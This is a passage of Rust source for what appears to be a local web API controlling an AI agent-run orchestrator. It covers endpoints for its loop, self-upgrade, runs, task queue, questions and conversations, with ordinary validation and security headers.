1860 !self.handle.is_finished()
1861 }
1862}
1863
1864fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1871 state.lock().unwrap_or_else(PoisonError::into_inner)
1872}
1873
1874async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1876 blocking(move || {
1877 let reading = daemon::read_status(&ui.home);
1878 Ok(Json(ui.loop_view(reading)))
1879 })
1880 .await
1881}
1882
1883#[derive(Debug, Deserialize)]
1889#[serde(deny_unknown_fields)]
1890struct LoopCommand {
1891 running: bool,
1892 #[serde(default)]
1902 park: bool,
1903}
1904
1905async fn loop_post(
1913 State(ui): State<Arc<Ui>>,
1914 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1915) -> ApiResult<Json<LoopView>> {
1916 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1919 blocking(move || {
1920 let reading = daemon::read_status(&ui.home);
1921 let foreign = Foreign::of(reading.as_ref());
1922 if body.running {
1923 ui.start_loop(foreign)?;
1924 } else {
1925 ui.stop_loop(foreign, body.park)?;
1926 }
1927 Ok(Json(ui.loop_view(reading)))
1928 })
1929 .await
1930}
1931
1932#[derive(Debug, Serialize)]
1934struct UpgradeView {
1935 from: String,
1937 to: Option<String>,
1939 parked: Option<String>,
1941 detail: String,
1943}
1944
1945async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1969 let reading = daemon::read_status(&ui.home);
1970 if let Some(other) = Foreign::of(reading.as_ref()) {
1971 return Err(ApiError::conflict(format!(
1972 "the loop belongs to {}, so replacing this binary would leave \
1973 that process running an old one against the same queue. Upgrade \
1974 where it was started.",
1975 other.who()
1976 )));
1977 }
1978
1979 if crate::updater::disabled_by_env() {
1985 return Ok((
1986 StatusCode::OK,
1987 Json(UpgradeView {
1988 from: env!("CARGO_PKG_VERSION").to_owned(),
1989 to: None,
1990 parked: None,
1991 detail: format!(
1992 "Automatic updates are disabled by {}. Nothing was parked \
1993 and nothing restarted.",
1994 crate::updater::NO_AUTOUPDATE_ENV
1995 ),
1996 }),
1997 ));
1998 }
1999
2000 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2005 let from = env!("CARGO_PKG_VERSION").to_owned();
2006 let latest = match crate::updater::Checker::new(&cfg.update) {
2007 Some(checker) => checker
2008 .newer_release()
2009 .await
2010 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2011 None => None,
2012 };
2013 let Some(latest) = latest else {
2014 return Ok((
2015 StatusCode::OK,
2016 Json(UpgradeView {
2017 from,
2018 to: None,
2019 parked: None,
2020 detail: "Already on the newest release. Nothing was parked \
2021 and nothing restarted."
2022 .to_owned(),
2023 }),
2024 ));
2025 };
2026
2027 let parked = ui.park_for_upgrade()?;
2030 let detail = match &parked {
2031 Some(run) => format!(
2036 "Run {} is parking at its next step, which can take as long as \
2037 the step it is on - up to an hour for an implement wave. The \
2038 deck replaces itself once it parks, comes back, and the loop \
2039 carries that run on from where it stopped. Nothing is lost if \
2040 you close this.",
2041 crate::run::short_of(run)
2042 ),
2043 None => "The deck replaces itself and comes back. Nothing was in \
2044 flight to park."
2045 .to_owned(),
2046 };
2047
2048 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2052 progress.parked_run = parked.clone();
2053 let _ = updater::write_progress(&ui.home, &progress);
2054
2055 let home = ui.home.clone();
2056 tokio::spawn(async move {
2057 if let Err(e) = upgrade_and_restart(home.clone()).await {
2058 tracing::error!("the upgrade did not complete: {e:#}");
2059 if let Some(mut progress) = updater::read_progress(&home) {
2060 progress.fail(format!("{e:#}"));
2061 let _ = updater::write_progress(&home, &progress);
2062 }
2063 }
2064 });
2065
2066 Ok((
2067 StatusCode::ACCEPTED,
2068 Json(UpgradeView {
2069 from,
2070 to: Some(latest.tag_name),
2071 parked,
2072 detail,
2073 }),
2074 ))
2075}
2076
2077async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2082 crate::updater::run_self_update(true, false, true).await?;
2085 tracing::info!("binary replaced - asking the server to hand over");
2086 if let Some(mut progress) = updater::read_progress(&home) {
2087 progress.advance(updater::Stage::Replaced);
2088 let _ = updater::write_progress(&home, &progress);
2089 }
2090 HANDOVER.notify_one();
2091 Ok(())
2092}
2093
2094#[derive(Debug, Serialize)]
2100struct RunSummary {
2101 id: String,
2102 short: String,
2103 status: String,
2104 done: bool,
2105 instruction: String,
2106 title: String,
2107 repo: String,
2108 repo_name: String,
2109 created_at: String,
2110 updated_at: String,
2111 candidates: usize,
2112 viable: usize,
2113 judges: usize,
2114 winner: Option<char>,
2115 reviews: usize,
2116 quota_losses: usize,
2117 event: Option<String>,
2118 superseded_by: Option<String>,
2123 waiting: bool,
2130 pr: Option<crate::run::PrRecord>,
2132 unmerged_by_design: bool,
2138}
2139
2140impl RunSummary {
2141 fn of(state: &RunState, waiting: bool) -> Self {
2142 Self {
2143 id: state.id.clone(),
2144 short: state.short().to_owned(),
2145 status: status_word(state.status),
2146 done: state.status.done(),
2147 unmerged_by_design: state.unmerged_by_design(),
2148 instruction: state.instruction.clone(),
2149 title: title_from(&state.instruction, TITLE_MAX),
2150 repo: state.repo.display().to_string(),
2151 repo_name: state
2152 .repo
2153 .file_name()
2154 .map(|n| n.to_string_lossy().into_owned())
2155 .unwrap_or_default(),
2156 created_at: state.created_at.to_string(),
2157 updated_at: state.updated_at.to_string(),
2158 candidates: state.candidates.len(),
2159 viable: state.viable().len(),
2160 judges: state.config.graph.judges,
2161 winner: state.winner().map(|c| c.label),
2162 reviews: state.reviews.len(),
2163 quota_losses: state.quota.len(),
2164 event: state.events.last().map(|e| e.message.clone()),
2165 waiting,
2166 superseded_by: None,
2169 pr: state.pr.clone(),
2170 }
2171 }
2172}
2173
2174fn status_word(status: RunStatus) -> String {
2177 status.as_str().to_owned()
2181}
2182
2183#[derive(Debug, Deserialize)]
2185struct ListQuery {
2186 #[serde(default)]
2187 limit: Option<usize>,
2188}
2189
2190async fn runs_list(
2191 State(ui): State<Arc<Ui>>,
2192 Query(q): Query<ListQuery>,
2193) -> ApiResult<Json<Vec<RunSummary>>> {
2194 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2195 blocking(move || {
2196 let superseded = superseded_runs(&ui.queue);
2197 let summaries = run_ids(&ui.runs)
2198 .into_iter()
2199 .filter_map(|id| read_run(&ui.runs, &id).ok())
2204 .take(limit)
2205 .map(|state| {
2206 let waiting = !ui.questions.open_for(&state.id).is_empty();
2207 let by = superseded.get(&state.id).cloned();
2208 let mut row = RunSummary::of(&state, waiting);
2209 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2210 row
2211 })
2212 .collect();
2213 Ok(Json(summaries))
2214 })
2215 .await
2216}
2217
2218fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2231 let mut by = HashMap::new();
2232 for task in queue.list() {
2233 for pair in task.runs.windows(2) {
2234 if let [earlier, later] = pair {
2235 by.insert(earlier.clone(), later.clone());
2236 }
2237 }
2238 }
2239 by
2240}
2241
2242#[derive(Debug, Serialize)]
2249struct RunDetailView {
2250 #[serde(flatten)]
2251 state: RunState,
2252 instruction_md: Vec<md::Node>,
2253 live: bool,
2263 unmerged_by_design: bool,
2268}
2269
2270impl RunDetailView {
2271 fn of(state: RunState, live: bool) -> Self {
2272 Self {
2273 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2274 live,
2275 unmerged_by_design: state.unmerged_by_design(),
2276 state,
2277 }
2278 }
2279}
2280
2281async fn run_detail(
2282 State(ui): State<Arc<Ui>>,
2283 Path(id): Path<String>,
2284) -> ApiResult<Json<RunDetailView>> {
2285 blocking(move || {
2286 let id = resolve_run(&ui.runs, &id)?;
2287 let state = read_run(&ui.runs, &id)?;
2288 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2289 Ok(Json(RunDetailView::of(state, live)))
2290 })
2291 .await
2292}
2293
2294async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2303 let (id, unreadable) = {
2304 let ui = Arc::clone(&ui);
2305 blocking(move || {
2306 let id = resolve_run(&ui.runs, &id)?;
2307 match read_run(&ui.runs, &id) {
2308 Ok(state) => {
2309 let in_flight =
2310 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2311 state
2312 .ensure_can_delete(in_flight)
2313 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2314 let dir = ui.runs.join(&id);
2315 std::fs::remove_dir_all(&dir)
2316 .with_context(|| format!("remove run directory {}", dir.display()))?;
2317 Ok((id, false))
2318 }
2319 Err(_) => {
2320 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2324 return Err(ApiError::conflict(format!(
2325 "run {id} is being worked on by a live daemon right now"
2326 )));
2327 }
2328 Ok((id, true))
2329 }
2330 }
2331 })
2332 .await?
2333 };
2334 if unreadable {
2335 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2336 .await
2337 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2338 }
2339 let ui = Arc::clone(&ui);
2340 let done = id.clone();
2341 blocking(move || {
2342 ui.questions.abandon_for_run(
2345 &done,
2346 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2347 )?;
2348 Ok(())
2349 })
2350 .await?;
2351 Ok(StatusCode::NO_CONTENT)
2352}
2353
2354async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2378 let (id, state) = {
2379 let ui = Arc::clone(&ui);
2380 blocking(move || {
2381 let id = resolve_run(&ui.runs, &id)?;
2382 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2383 return Err(ApiError::conflict(format!(
2384 "run {id} is being worked on by a live daemon right now"
2385 )));
2386 }
2387 let state = read_run(&ui.runs, &id).ok();
2388 Ok((id, state))
2389 })
2390 .await?
2391 };
2392 let removed = match state {
2393 Some(mut state) => {
2394 let removed = crate::graph::fold_run(&mut state, true)
2395 .await
2396 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2397 if removed.is_empty() {
2402 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2403 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2404 }
2405 removed
2406 }
2407 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2408 .await
2409 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2410 };
2411 Ok(Json(FoldView {
2412 run: id,
2413 removed_count: removed.len(),
2414 removed,
2415 }))
2416}
2417
2418#[derive(Debug, Serialize)]
2420struct FoldView {
2421 run: String,
2422 removed: Vec<String>,
2424 removed_count: usize,
2425}
2426
2427async fn run_resume(
2447 State(ui): State<Arc<Ui>>,
2448 Path(id): Path<String>,
2449) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2450 let (id, state) = {
2451 let ui = Arc::clone(&ui);
2452 blocking(move || {
2453 let id = resolve_run(&ui.runs, &id)?;
2454 let state = read_run(&ui.runs, &id)?;
2455 Ok((id, state))
2456 })
2457 .await?
2458 };
2459 if !state.status.resumable() {
2460 return Err(ApiError::conflict(format!(
2461 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2462 state.short(),
2463 status_word(state.status)
2464 )));
2465 }
2466 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2471 .into_iter()
2472 .next()
2473 {
2474 return Err(ApiError::conflict(format!(
2475 "the loop is running run {} right now; stop it first, or wait for \
2476 it to finish, before resuming a run by hand.",
2477 crate::run::short_of(&work.run)
2478 )));
2479 }
2480 let _resume = ui.begin_resume(&id)?;
2481
2482 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2485 let run = id.clone();
2486 tokio::spawn(async move {
2487 let _resume = _resume;
2488 match crate::graph::Runner::resume(&run) {
2489 Ok(mut runner) => {
2490 if let Err(e) = runner.execute().await {
2491 tracing::warn!("resume of run {run} stopped: {e:#}");
2492 }
2493 }
2494 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2497 }
2498 });
2499 Ok((StatusCode::ACCEPTED, Json(queued)))
2500}
2501
2502async fn run_report(
2503 State(ui): State<Arc<Ui>>,
2504 Path(id): Path<String>,
2505) -> ApiResult<impl IntoResponse> {
2506 let text = blocking(move || {
2507 let id = resolve_run(&ui.runs, &id)?;
2508 let state = read_run(&ui.runs, &id)?;
2512 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2513 Ok(format!(
2514 "{}{}",
2515 report::run(&state),
2516 report::active_seats(&state, live)
2517 ))
2518 })
2519 .await?;
2520 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2521}
2522
2523#[derive(Debug, Serialize)]
2529struct TaskView {
2530 #[serde(flatten)]
2531 task: Task,
2532 source_label: String,
2533 status_str: &'static str,
2534 instruction_md: Vec<md::Node>,
2538}
2539
2540impl From<Task> for TaskView {
2541 fn from(task: Task) -> Self {
2542 Self {
2543 source_label: task.source.label(),
2544 status_str: task.status.as_str(),
2545 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2546 task,
2547 }
2548 }
2549}
2550
2551#[derive(Debug, Default, Deserialize)]
2554#[serde(default)]
2555struct ReposQuery {
2556 refresh: u8,
2557}
2558
2559async fn repos_list(
2566 State(ui): State<Arc<Ui>>,
2567 Query(q): Query<ReposQuery>,
2568) -> ApiResult<Json<Vec<repos::Repo>>> {
2569 let refresh = q.refresh != 0;
2570 blocking(move || {
2571 let (cfg, _) = Config::discover(&ui.repo, None)?;
2572 Ok(Json(ui.repos_cache.list(
2573 &cfg.repos.roots,
2574 Duration::from_secs(cfg.repos.scan_ttl),
2575 refresh,
2576 )))
2577 })
2578 .await
2579}
2580
2581async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2582 blocking(move || {
2583 Ok(Json(
2584 ui.queue.list().into_iter().map(TaskView::from).collect(),
2585 ))
2586 })
2587 .await
2588}
2589
2590#[derive(Debug, Default, Deserialize)]
2593#[serde(default, deny_unknown_fields)]
2594struct HoldBody {
2595 reason: Option<String>,
2596}
2597
2598async fn queue_hold(
2599 State(ui): State<Arc<Ui>>,
2600 Path(id): Path<String>,
2601 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2602) -> ApiResult<Json<TaskView>> {
2603 let body = match body {
2607 Ok(Json(body)) => body,
2608 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2609 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2610 };
2611 let reason = body.reason.filter(|r| !r.trim().is_empty());
2612 mutate(ui, id, move |t| {
2613 t.hold_manual(reason.clone());
2614 Ok(())
2615 })
2616 .await
2617}
2618
2619async fn queue_release(
2620 State(ui): State<Arc<Ui>>,
2621 Path(id): Path<String>,
2622) -> ApiResult<Json<TaskView>> {
2623 mutate(ui, id, |t| {
2624 t.release();
2625 Ok(())
2626 })
2627 .await
2628}
2629
2630#[derive(Debug, Deserialize)]
2632#[serde(deny_unknown_fields)]
2633struct PriorityBody {
2634 priority: i32,
2635}
2636
2637async fn queue_priority(
2643 State(ui): State<Arc<Ui>>,
2644 Path(id): Path<String>,
2645 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2646) -> ApiResult<Json<TaskView>> {
2647 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2648 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2649}
2650
2651#[derive(Debug, Deserialize)]
2653#[serde(deny_unknown_fields)]
2654struct EditBody {
2655 title: String,
2656 instruction: String,
2657}
2658
2659async fn queue_edit(
2663 State(ui): State<Arc<Ui>>,
2664 Path(id): Path<String>,
2665 body: std::result::Result<Json<EditBody>, JsonRejection>,
2666) -> ApiResult<Json<TaskView>> {
2667 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2668 mutate(ui, id, move |t| {
2669 t.edit(body.title.clone(), body.instruction.clone())
2670 })
2671 .await
2672}
2673
2674async fn queue_done(
2682 State(ui): State<Arc<Ui>>,
2683 Path(id): Path<String>,
2684) -> ApiResult<Json<TaskView>> {
2685 mutate(ui, id, |t| {
2686 t.succeed();
2687 Ok(())
2688 })
2689 .await
2690}
2691
2692async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2700 blocking(move || {
2701 let id = resolve_task(&ui.queue, &id)?;
2702 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2703 ui.queue
2704 .remove(&id, in_flight)
2705 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2706 Ok(StatusCode::NO_CONTENT)
2707 })
2708 .await
2709}
2710
2711async fn mutate(
2720 ui: Arc<Ui>,
2721 id: String,
2722 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2723) -> ApiResult<Json<TaskView>> {
2724 blocking(move || {
2725 let id = resolve_task(&ui.queue, &id)?;
2726 let _claim = ui.queue.claim(&id).map_err(|e| {
2731 ApiError::conflict(format!(
2732 "{e:#} - a daemon is running this task, so it cannot be \
2733 changed from here yet"
2734 ))
2735 })?;
2736 let mut task = ui.queue.get(&id)?;
2737 change(&mut task).map_err(ApiError::bad_request_from)?;
2738 ui.queue.put(&mut task)?;
2739 Ok(Json(TaskView::from(task)))
2740 })
2741 .await
2742}
2743
2744async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2752 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2753 tokio::spawn(async move {
2754 let mut ticker = tokio::time::interval(POLL);
2755 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2756 loop {
2757 ticker.tick().await;
2760 let state = Arc::clone(&ui);
2761 let revisions = tokio::task::spawn_blocking(move || {
2762 (
2763 state.queue.revision(),
2764 runs_revision(&state.runs),
2765 state.questions.revision(),
2766 state.talks.revision(),
2767 state.lock_loop().rev,
2771 )
2772 })
2773 .await;
2774 let Ok(revisions) = revisions else { break };
2775 if last == Some(revisions) {
2776 continue;
2777 }
2778 last = Some(revisions);
2779 let payload = serde_json::json!({
2780 "queue_rev": revisions.0,
2781 "runs_rev": revisions.1,
2782 "questions_rev": revisions.2,
2783 "talks_rev": revisions.3,
2784 "loop_rev": revisions.4,
2785 });
2786 let Ok(event) = Event::default().event("change").json_data(payload) else {
2788 break;
2789 };
2790 if tx.send(event).await.is_err() {
2791 break;
2792 }
2793 }
2794 });
2795 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2796 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2797}
2798
2799fn runs_revision(runs: &FsPath) -> u64 {
2806 use std::hash::{Hash as _, Hasher as _};
2807
2808 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2809 .into_iter()
2810 .flatten()
2811 .flatten()
2812 .filter_map(|e| {
2813 let path = e.path().join("run.json");
2814 let mtime = path
2815 .metadata()
2816 .ok()?
2817 .modified()
2818 .ok()?
2819 .duration_since(std::time::UNIX_EPOCH)
2820 .ok()?
2821 .as_millis() as u64;
2822 let id = e.file_name().to_string_lossy().into_owned();
2823 Some((id, mtime))
2824 })
2825 .collect();
2826
2827 if entries.is_empty() {
2828 return 0;
2829 }
2830
2831 entries.sort_unstable();
2832 let mut hasher = std::hash::DefaultHasher::new();
2833 for (id, mtime) in &entries {
2834 id.hash(&mut hasher);
2835 mtime.hash(&mut hasher);
2836 }
2837 let h = hasher.finish();
2838 if h == 0 { 1 } else { h }
2839}
2840
2841fn run_ids(runs: &FsPath) -> Vec<String> {
2847 let mut ids: Vec<String> = std::fs::read_dir(runs)
2848 .into_iter()
2849 .flatten()
2850 .flatten()
2851 .filter(|e| e.path().join("run.json").is_file())
2852 .map(|e| e.file_name().to_string_lossy().into_owned())
2853 .collect();
2854 ids.sort_unstable_by(|a, b| b.cmp(a));
2856 ids
2857}
2858
2859fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2861 let path = runs.join(id).join("run.json");
2862 let body =
2863 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2864 let state: RunState =
2865 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2866 if state.schema != run::SCHEMA {
2867 anyhow::bail!(
2868 "run {} was written by a different magi (schema {}, this build speaks {})",
2869 state.id,
2870 state.schema,
2871 run::SCHEMA
2872 );
2873 }
2874 Ok(state)
2875}
2876
2877#[must_use]
2885pub fn runs_unreadable(runs: &FsPath) -> usize {
2886 run_ids(runs)
2887 .into_iter()
2888 .filter(|id| read_run(runs, id).is_err())
2889 .count()
2890}
2891
2892fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2894 if runs.join(id).join("run.json").is_file() {
2895 return Ok(id.to_owned());
2896 }
2897 pick(run_ids(runs), id, "run")
2898}
2899
2900fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2902 if queue.path_of(id).is_file() {
2903 return Ok(id.to_owned());
2904 }
2905 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2906}
2907
2908#[derive(Debug, Serialize)]
2919struct QuestionView {
2920 #[serde(flatten)]
2921 question: Question,
2922 detail_md: Vec<md::Node>,
2923 waiting_on_agent: bool,
2933}
2934
2935impl From<Question> for QuestionView {
2936 fn from(question: Question) -> Self {
2937 let base = md::ImageBase::QuestionPanel {
2938 id: question.id.clone(),
2939 };
2940 Self {
2941 detail_md: md::to_nodes(&question.detail, &base),
2942 waiting_on_agent: question.waiting_on_agent(),
2943 question,
2944 }
2945 }
2946}
2947
2948async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2954 blocking(move || {
2955 Ok(Json(
2956 ui.questions
2957 .list()
2958 .into_iter()
2959 .map(QuestionView::from)
2960 .collect(),
2961 ))
2962 })
2963 .await
2964}
2965
2966#[derive(Debug, Default, Deserialize)]
2972#[serde(default, deny_unknown_fields)]
2973struct NewAnswer {
2974 choice: Option<String>,
2975 text: Option<String>,
2976}
2977
2978async fn question_answer(
2979 State(ui): State<Arc<Ui>>,
2980 Path(id): Path<String>,
2981 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2982) -> ApiResult<Json<QuestionView>> {
2983 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2984 let answer = match (body.choice, body.text) {
2985 (Some(c), None) => Answer::Choice(c),
2986 (None, Some(t)) => Answer::Text(t),
2987 (Some(_), Some(_)) => {
2988 return Err(ApiError::bad_request(
2989 "send either `choice` or `text`, not both",
2990 ));
2991 }
2992 (None, None) => {
2993 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2994 }
2995 };
2996
2997 blocking(move || {
2998 let id = resolve_question(&ui.questions, &id)?;
2999 let mut q = ui
3000 .questions
3001 .get(&id)
3002 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3003 if !q.status.open() {
3004 return Err(ApiError::conflict(format!(
3008 "question {} is already {}",
3009 q.short(),
3010 q.status.as_str()
3011 )));
3012 }
3013 q.answer(answer).map_err(ApiError::bad_request_from)?;
3017 ui.questions.put(&mut q)?;
3018 Ok(Json(QuestionView::from(q)))
3019 })
3020 .await
3021}
3022
3023#[derive(Debug, Deserialize)]
3025#[serde(deny_unknown_fields)]
3026struct NewSay {
3027 body: String,
3028}
3029
3030async fn question_say(
3040 State(ui): State<Arc<Ui>>,
3041 Path(id): Path<String>,
3042 body: std::result::Result<Json<NewSay>, JsonRejection>,
3043) -> ApiResult<Json<QuestionView>> {
3044 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3045 blocking(move || {
3046 let id = resolve_question(&ui.questions, &id)?;
3047 let mut q = ui
3048 .questions
3049 .get(&id)
3050 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3051 if !q.status.open() {
3052 return Err(ApiError::conflict(format!(
3056 "question {} is already {}",
3057 q.short(),
3058 q.status.as_str()
3059 )));
3060 }
3061 q.say(body.body).map_err(ApiError::bad_request_from)?;
3064 ui.questions.put(&mut q)?;
3065 Ok(Json(QuestionView::from(q)))
3066 })
3067 .await
3068}
3069
3070fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3072 if store.path_of(id).is_file() {
3073 return Ok(id.to_owned());
3074 }
3075 pick(
3076 store.list().into_iter().map(|q| q.id).collect(),
3077 id,
3078 "question",
3079 )
3080}
3081
3082async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3097 blocking(move || {
3098 let id = resolve_question(&ui.questions, &id)?;
3099 let Some(html) = ui.questions.panel_html(&id) else {
3100 return Err(ApiError::not_found(format!("question {id} has no panel")));
3101 };
3102 Ok(panel_response(
3103 "text/html; charset=utf-8",
3104 false,
3105 html.into_bytes(),
3106 ))
3107 })
3108 .await
3109}
3110
3111async fn question_asset(
3139 State(ui): State<Arc<Ui>>,
3140 Path((id, name)): Path<(String, String)>,
3141) -> ApiResult<Response> {
3142 if !crate::ask::valid_asset_name(&name) {
3145 return Err(ApiError::bad_request(format!(
3146 "`{name}` is not a usable asset name"
3147 )));
3148 }
3149 blocking(move || {
3150 let id = resolve_question(&ui.questions, &id)?;
3151 let asset = ui
3152 .questions
3153 .panel_asset(&id, &name)
3154 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3155 let Some(bytes) = asset else {
3156 return Err(ApiError::not_found(format!(
3157 "question {id} has no asset `{name}`"
3158 )));
3159 };
3160 Ok(panel_response(
3161 asset_content_type(&name),
3162 is_svg(&name),
3163 bytes,
3164 ))
3165 })
3166 .await
3167}
3168
3169fn asset_content_type(name: &str) -> &'static str {
3182 match extension(name).as_deref() {
3183 Some("png") => "image/png",
3184 Some("jpg" | "jpeg") => "image/jpeg",
3185 Some("gif") => "image/gif",
3186 Some("webp") => "image/webp",
3187 Some("svg") => "image/svg+xml",
3188 Some("css") => "text/css; charset=utf-8",
3189 Some("txt") => "text/plain; charset=utf-8",
3190 _ => "application/octet-stream",
3191 }
3192}
3193
3194fn is_svg(name: &str) -> bool {
3197 extension(name).as_deref() == Some("svg")
3198}
3199
3200fn extension(name: &str) -> Option<String> {
3202 name.rsplit_once('.')
3203 .map(|(_, ext)| ext.to_ascii_lowercase())
3204}
3205
3206fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3223 let mut res = (
3224 [
3225 (header::CONTENT_TYPE, content_type),
3226 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3227 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3228 (header::REFERRER_POLICY, "no-referrer"),
3229 ],
3230 body,
3231 )
3232 .into_response();
3233 if download {
3234 res.headers_mut().insert(
3235 header::CONTENT_DISPOSITION,
3236 HeaderValue::from_static("attachment"),
3237 );
3238 }
3239 res
3240}
3241
3242#[derive(Debug, Serialize)]
3248struct TalkView {
3249 #[serde(flatten)]
3250 talk: Talk,
3251 turn_bodies_md: Vec<Vec<md::Node>>,
3252 thinking: bool,
3260}
3261
3262impl TalkView {
3263 fn new(talk: Talk, thinking: bool) -> Self {
3264 let turn_bodies_md = talk
3265 .turns
3266 .iter()
3267 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3268 .collect();
3269 Self {
3270 turn_bodies_md,
3271 thinking,
3272 talk,
3273 }
3274 }
3275}
3276
3277#[derive(Debug, Serialize)]
3282struct TalkDetailView {
3283 #[serde(flatten)]
3284 view: TalkView,
3285 tasks: Vec<TaskView>,
3286}
3287
3288async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3293 blocking(move || {
3294 Ok(Json(
3295 ui.talks
3296 .list()
3297 .into_iter()
3298 .map(|talk| {
3299 let thinking = ui.is_thinking(&talk.id);
3300 TalkView::new(talk, thinking)
3301 })
3302 .collect(),
3303 ))
3304 })
3305 .await
3306}
3307
3308#[derive(Debug, Default, Deserialize)]
3313#[serde(default)]
3314struct NewTalk {
3315 agent: Option<String>,
3316 repo: Option<PathBuf>,
3317}
3318
3319async fn talk_post(
3322 State(ui): State<Arc<Ui>>,
3323 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3324) -> ApiResult<impl IntoResponse> {
3325 let body = match body {
3329 Ok(Json(body)) => body,
3330 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3331 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3332 };
3333 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3334 let cfg = config_for(&repo).await?;
3335 let view = blocking(move || {
3336 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3337 let thinking = ui.is_thinking(&talk.id);
3338 Ok(TalkView::new(talk, thinking))
3339 })
3340 .await?;
3341 Ok((StatusCode::CREATED, Json(view)))
3342}
3343
3344async fn talk_detail(
3346 State(ui): State<Arc<Ui>>,
3347 Path(id): Path<String>,
3348) -> ApiResult<Json<TalkDetailView>> {
3349 blocking(move || {
3350 let id = resolve_talk(&ui.talks, &id)?;
3351 let talk = ui.talks.get(&id)?;
3352 let thinking = ui.is_thinking(&talk.id);
3353 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3354 .into_iter()
3355 .map(TaskView::from)
3356 .collect();
3357 Ok(Json(TalkDetailView {
3358 view: TalkView::new(talk, thinking),
3359 tasks,
3360 }))
3361 })
3362 .await
3363}
3364
3365#[derive(Debug, Default, Deserialize)]
3371#[serde(default, deny_unknown_fields)]
3372struct NewTalkTurn {
3373 text: String,
